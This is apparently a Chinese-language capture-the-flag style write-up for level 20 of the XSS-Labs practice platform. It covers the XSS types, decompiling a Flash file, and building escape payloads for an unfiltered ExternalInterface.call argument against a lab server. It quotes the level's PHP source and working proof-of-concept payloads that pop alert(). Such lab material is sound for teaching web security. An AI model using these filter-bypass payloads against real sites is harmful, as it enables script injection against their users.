0x01 XSS-Labs
XSS（跨站脚本攻击）是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页或访问该页面中的内容之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。
XSS按照利用方式主要分为：反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS即存储型XSS，非常危险，容易造成蠕虫，大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM XSS漏洞。
XSS-Labs是使用PHP编写的一个XSS漏洞练习平台，一共包含20关，其主要为反射型XSS，可以练习基础XSS的过滤和绕过技巧，且每一关的后台源码都重写了alert()方法，只要成功弹框即可调用重写的alert()方法进入下一关或完成本关测试。
0x02 实验工具
IE/ChromeHackBar
0x03 实验环境
- 服务器：Windows Server 2008
- 中间件：Apache
- 客户端：Windows 10
实验界面如下图所示：
0x04 实验步骤
-
flash xss，需要对flash的反编译对源码进行分析，这里使用jpexs-decompiler来分析，首先定位
ExternalInterface.call函数，发现ExternalInterface.call函数的第二个参数没有进行过滤可能导致XSS。
-
构造如下所示payload，操作结果如下图所示。
http://10.10.10.148:8203/level20.php?arg01=id&arg02=xss\"))}catch(e){ alert(/xss/)}//%26width=123%26height=123 http://10.10.10.148:8203/level20.php?arg01=id&arg02=\%22))}catch(e){ }if(!self.a)self.a=!alert(1)//%26width%26height
-
代码审计。程序源码如下所示：
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错！"); window.location.href="level21.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level20</title> </head> <body> <h1 align=center>欢迎来到level20</h1> <?php ini_set("display_errors", 0); echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?> </body> </html>- 由17行代码可知：GET方法得到的参数经过
htmlspecialchars()函数转义后复制给embed标签的src值。
- 由17行代码可知：GET方法得到的参数经过
-
所以含有的预定义字符的注入无效，但不含预定义字符构成的XSS仍可以使用。
0x05 实验分析
-
程序对参数过滤后回显到HTML页面中，所以此关的payload非常多：
xss\"))}catch(e){ alert(/xss/)}//%26width=123%26height=123 \%22))}catch(e){ }if(!self.a)self.a=!alert(1)//%26width%26height ... -
flash xss：因为flash有可以调用
js的函数，也就是可以和js进行通信。因此这些函数如果使用不当也是会造成xss的。常见的可触发xss的危险函数有：getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。